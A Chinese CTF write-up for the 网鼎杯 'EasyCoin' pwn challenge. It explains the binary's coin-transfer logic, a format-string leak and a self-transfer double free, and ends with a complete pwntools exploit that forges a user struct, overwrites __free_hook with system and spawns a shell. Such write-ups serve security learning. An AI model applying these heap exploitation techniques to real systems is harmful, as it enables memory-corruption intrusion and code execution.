网鼎杯-EasyCoin

网鼎杯-EasyCoin

这道题看了好久,结合大佬的博客以及自己动手调试,终于把它调出来了。

题目下载地址

链接:https://pan.baidu.com/s/19Imm-V-i71vpEN1mofwOhQ 密码:isek

程序分析

程序的功能主要分为两部分:用户注册登录功能以及登陆后的功能。

用户管理功能

该部分主要包括用户注册以及用户登录:

  • 用户注册代码如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    *(&ptr + v4) = malloc(0x20uLL);
    v1 = (struct_user *)*(&ptr + v4);
    v1->name = (__int64)malloc(0x20uLL);
    v2 = (struct_user *)*(&ptr + v4);
    v2->passwd = (__int64)malloc(0x20uLL);
    *((_QWORD *)*(&ptr + v4) + 2) = 0x3B9ACA00LL;
    *((_QWORD *)*(&ptr + v4) + 3) = 0LL;
    strncpy(*(char **)*(&ptr + v4), &local_username, 31uLL);
    printf("Please input password\n> ", &local_username);
    get_input(*((void **)*(&ptr + v4) + 1), 31);
    printf("Verify input password\n> ", 31LL);
    get_input(&local_username, 31);
    if ( !strcmp(*((const char **)*(&ptr + v4) + 1), &local_username) )
    {
    puts("[+] Registration success");
    result = 0LL;
    }
    else
    {
    puts("[-] Password confirmation failed");
    free(*(void **)*(&ptr + v4));
    free(*((void **)*(&ptr + v4) + 1));
    free(*(&ptr + v4));
    *(&ptr + v4) = 0LL;
    result = 0LL;
    }

首先分配了一个0x20字节的空间来存储用户相关信息,结构体中各字段含义:用户名name、密码passwd、金币数coin、用户赠送或接受金币的记录链表send_history_list。具体如下:

1
2
3
4
5
6
7
//其中金币数量初始值为:0x3B9ACA00
00000000 struct_user struc ; (sizeof=0x20, mappedto_1)
00000000 name dq ?
00000008 passwd dq ?
00000010 coin dq ?
00000018 send_history_list dq ?
00000020 struct_user ends

接着分别为用户名和密码分配0x20字节大小的空间,所以每新建一个用户会按照:用户结构体-->用户姓名-->用户密码的顺序分配三个大小为0x30自己的chunk

  • 用户登录功能

用户登录功能就是判断用户输入的用户名密码是否与注册的一致,并返回该用户结构体的指针。

用户登录后的功能

用户登录后可以进行以下操作:

1
2
3
4
5
6
7
8
puts("------------------------------------------------");
puts(" 1: display user info");
puts(" 2: send coin");
puts(" 3: display transaction");
puts(" 4: change password");
puts(" 5: delete this user");
puts(" 6: logout");
puts("------------------------------------------------");

这里主要分析赠送金币功能、修改密码功能以及删除用户功能:

  • 赠送金币

赠送金币函数在最开始先检查了赠送金币的总次数,总次数不能超过0x64,,这个次数bss_send_serial是存储在bss段上的。

1
2
3
4
5
if ( (unsigned __int64)bss_send_serial > 0x64 )
{
puts("[-] Transaction is over");
exit(1);
}

接着连续分配两个0x28字节大小的内存(chunk大小也为0x30),分别作为接收者记录和发送者记录,并将其链入对应用户的赠送金币链表中(链入到链表的末尾)。该记录是一个结构体,包含的字段为:指向下一个记录的结构体指针list_ptr、赠送者或接受者结构体usr、赠送次数id(对应全局变量bss_send_serial)、赠送或接受标志flag、交易的金币数量coin_num

1
2
3
4
5
6
7
00000000 struct_send_history struc ; (sizeof=0x28, mappedto_2)
00000000 list_ptr dq ?
00000008 user dq ?
00000010 id dq ?
00000018 flag dq ?
00000020 coin_num dq ?
00000028 struct_send_history ends

  • 修改密码

程序提供了修改密码的功能,往存放密码的chunk中读入最多31个字节数据,这些数据的内容使我们可以控制的,但是正常情况下只能往存放密码的chunk中读,且不存在溢出。

  • 删除用户
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
free((void *)a1->name);
free((void *)a1->passwd);
if ( a1->send_history_list )
{
v5 = (struct_send_history *)a1->send_history_list;
while ( 1 )
{
my_free((struct_user *)v5->user, v5->id);
if ( !v5->list_ptr )
break;
ptr = v5;
v5 = (struct_send_history *)v5->list_ptr;
ptr->user = 0LL;
ptr->list_ptr = 0LL;
free(ptr);
}
free(v5);
}

删除用户的过程:free掉用户名–>free掉密码–>遍历金币交易链表释放相关的金币交易记录–>free用户结构体。其中释放金币交易链表时逐个的从取被删除用户的交易链表取交易记录,对于每一个交易记录,根据其中的用户字段来从对应的用户的链表中找到与该交易记录配对的块,将其释放后在释放当前交易记录。(即在释放当前记录之前,先调用了my_free函数来释放当前记录配对的另一个交易记录——赠送记录与接收记录)

漏洞

看了好久都不知道这个程序的问题在哪里,看了大佬们的分析(这里是链接),其实主要的问题有两个:

  1. 可以自己给自己赠送金币,再结合是先释放完了交易链表之后再释放用户结构体(用户的send_history_list字段没有清零),导致用户可以干预程序的执行。
  2. 在输入命令时存在格式化字符串漏洞,用户可以输入四个字节长的数据来进行利用,泄露部分寄存器以及栈中的数据。

这样说肯定有很多人不会理解,对的,因为我想了好久也都没有理解到底是怎么回事。按照赠送金币时的流程,如果是自己给自己赠送金币的话,那么必然是两个交易记录(…->A->B->NULL)被链入同一个链表,这样不管怎样在删除用户时,首先在my_free函数中会将A释放一次,函数返回后A又会被释放一次,同一个块被连续释放两次,不管怎么样都会产生double_free的崩溃,那这样我们还怎么进行漏洞利用呢?(就是被这个问题困扰了很久)

这里忽略了一个细节,那就是如果用户首先给另一个用户赠送了金币(即先进行正常的金币交易),然后在给自己赠送一次金币,此时链表的信息如下:

1
2
3
4
5
6
7
两个用户:A和B
1. A->B,A用户首先给B赠送
2. A->A,接着A用户给自己赠送
//赠送完毕后A和B的交易记录链表如下:
A->send_history_list=chunk2->chunk3->chunk4
//由于A给B赠送时,先分配的是接受者的交易记录,所以B这里的是chunk1
B->send_history_list=chunk1

然后在这个时候删除用户A,会出现什么情况呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//删除部分的代码在贴一遍
if ( a1->send_history_list )
{
v5 = (struct_send_history *)a1->send_history_list;
while ( 1 )
{
my_free((struct_user *)v5->user, v5->id);
if ( !v5->list_ptr )
break;
ptr = v5;
v5 = (struct_send_history *)v5->list_ptr;
ptr->user = 0LL;
ptr->list_ptr = 0LL;
free(ptr);
}
free(v5);
}

  1. 首先根据chunk2中的用户信息,找到用户B的链表,并删除chunk1(注意此时A的send_history_list指向的是chunk2)
  2. 删除chunk1之后,会删除A用户的chunk2(注意此时A的send_history_list还是指向的是chunk2)
  3. 根据chunk3的用户信息,找到另一个用户(这里还是A,注意这里A的send_history_list指向的还是chunk2,但是chunk2现在已经被放在fastbin中了),所以在函数myfree中,会将fastbin中chunk大小为0x30的链表当成是A用户的交易记录链表并进行遍历,删除其中id字段与chunk3中的id字段相同chunk。
  4. 接着会释放chunk3
  5. 同样根据chunk4中的用户字段(这里还是A自己)来在fastbin中释放虚假的交易记录
  6. 释放chunk4

所以实际上并不是所有自己给自己赠送金币都会造成double free的崩溃,之前的问题也就解决了。按照上面分析的结果,就可以利用fastbin attack中的double free来进行漏洞利用了。

同时还有一点,在删除了一对正常交易块之后再删除自己给自己赠送金币的交易块时,在myfree函数中,把fastbin链表当成用户的交易记录链表。fastbin中的prev_size字段对应的才是struct_send_history结构体的list_ptr字段。就拿上面的分析例子来说,首先会根据A用户的send_history_list找到chunk1的fd字段,chunk1将指向下一个chunk的首地址,也就是prev_size,接着就会以该chunk的prev_size字段作为list_ptr去寻找下一个交易块。 所以我们只需要能够控制这个prev_size字段就可以让myfree函数释放我们指定的chunk。

利用思路

信息泄露

格式化字符串限制了输入内容的长度不超过四字节,但是这里仍然能利用,例如%3$p,将输出寄存器rcx中的值(参数传递依次为:rdi,rsi,rdx,rcx,r8,r9,这里偏移为3且第一个参数为格式化字符串本身rdi,故输出rcx的值)

从图中可以看到通过rcx我们可以泄露libc的基址,从栈上的数据,我们可以泄露堆的基址。有了这两个基址后就可以为后面的利用做准备了。

double free

double free可以将fastbin劫持到我们指定的地方,这里我们需要能够使的chunk的size字段满足fastbin的要求,发现bss段上的bss_serial_num刚好是我们可以通过赠送金币的次数来控制的,因此通过赠送金币可以让他的值刚好为0x21,来满足double free的条件。

在成功double free之后,我们可以将0x6030e0处的chunk作为用户的password字段,这样通过修改密码的功能就可以修改存储用户结构体指针的数组0x603100(ptr)中的内容了。每个用户的password字段都是我们可以控制的,我们可以伪造password字段的chunk为一个虚假的用户结构体(虚假用户结构体中的password字段指向的值__free_hook),并修改ptr中的内容,让其指向这个虚假的用户结构体。通过空密码(因为__free_hook默认的值为0x0)来登录该用户,并修改密码来将__free_hook的值为system函数的地址。通过free一个用户名为 /bin/sh 的用户拿到shell。

前面提到过,在myfree函数中我们需要控制prev_size字段,让其指向我们提前构造好的chunk,这里有一个小细节:正常情况下分配内存是由低地址往高地址分配的,所以我们登录用户(用户A)之后向其他用户(用户B)正常赠送金币,会得到两个chunk(chunk1低地址,chunk2高地址),而在删除用户的时候,通过A的send_history_list找到的是chunk2,然后根据其fd来找到chunk1,我们不能通过chunk2的coin_num字段来控制chunk1的prev_size内容,因为chunk1在低地址。

所以在exp中会有这样的代码:

1
2
3
4
5
6
7
8
9
10
11
12
login('bbbb','bbbb')
sendCoin('e3pem',0x3)
delete()

# 经过上面的赠送在删除之后,这里用户bbbb赠送给e3pem时得到的chunk1了
# 通过chunk1的send_history_list就能控制chunk2的prev_size字段了
# double free
register('bbbb','bbbb')
login('bbbb','bbbb')
sendCoin('e3pem',heap_base+e3pem_pass_off)
sendCoin('bbbb',0x4)
delete()

利用代码

exp如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *
context(arch='amd64', os='linux', endian='little')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./EasyCoin')
elf = ELF('./EasyCoin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def register(username,password):
p.recvuntil('which command?')
p.sendline(str(1))
p.recvuntil('username\n> ')
p.sendline(username)
p.recvuntil('password\n> ')
p.sendline(password)
p.recvuntil('password\n> ')
p.sendline(password)
p.recvuntil(' Registration success')

def login(username,password):
p.recvuntil('which command?')
p.sendline(str(2))
p.recvuntil('username\n> ')
p.sendline(username)
p.recvuntil('password\n> ')
p.sendline(password)

def sendCoin(send2user,sendNum):
p.recvuntil('command?')
p.sendline(str(2))
p.recvuntil('send to?\n> ')
p.sendline(send2user)
p.recvuntil('many?\n> ')
p.sendline(str(sendNum))

def changePass(newPass):
p.recvuntil('command?')
p.sendline(str(4))
p.recvuntil('password\n> ')
p.sendline(newPass)

def delete():
p.recvuntil('command?')
p.sendline(str(5))

def logout():
p.recvuntil('command?')
p.sendline(str(6))


register('e3pem','a'*16+'\x30')
register('bbbb','bbbb')
register('/bin/sh','/bin/sh')
login('e3pem','a'*16+'\x30')

e3pem_pass_off = 0x70


# gdb.attach(p,gdbscript='''
# b *0x401686
# b *0x40159d
# ''')
# raw_input('aaa')

# leak libc base
p.recvuntil('which command?')
p.send('%3$p')
p.recvuntil('Command: ')
libc.address = int(p.recvuntil('\x7f')[:-2], 16)-0xf72c0
libc_system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
print('system addr:'+hex(libc_system))
print('free_hook:'+hex(free_hook))
# leak heap base
p.recvuntil('which command?')
p.send('%9$p')
p.recvuntil('Command: ')
heap_base = int(p.recvuntil('\x7f')[:-2],16)&0xFFFFF000
print('heap_base:'+hex(heap_base))
changePass(p64(heap_base+e3pem_pass_off))
# make bss_serial_num to 0x21, double free
for i in range(0,0x2E):
sendCoin('/bin/sh',1)
logout()

login('bbbb','bbbb')
sendCoin('e3pem',0x3)
delete()

# double free
register('bbbb','bbbb')
login('bbbb','bbbb')
sendCoin('e3pem',heap_base+e3pem_pass_off)
sendCoin('bbbb',0x4)
delete()

# user bbbb's password chunk = e3pem's password chunk
register('bbbb','bbbb')
login('bbbb','bbbb')
changePass(p64(0x6030e0))
logout()

# user cccc's name chunk = user e3pem's password chunk
# user cccc's password chunk = 0x6030e0(bss)
register('cccc','cccc')

# use user /bin/sh's password chunk to create a fake user struct
# let the password ptr point to __free_hook
login('/bin/sh','/bin/sh')
name_off = 0x160
# fake user struct, password --> free_hook
payload = p64(heap_base+name_off)+p64(free_hook)+p64(0x88888888)+'\x00'*6
changePass(payload)
logout()

# edit bss's user_struct ptr, make first element point to fake user struct
login('cccc','cccc')
payload = '\x00'*0x10+p64(heap_base+name_off+0x30)+p64(0)
changePass(payload)
logout()

# /bin/sh's password = __free_hook, value is 0
# so we can login without password
login('/bin/sh','')
changePass(p64(libc_system))
# __free_hook=system, call system('/bin/sh')
delete()


p.interactive()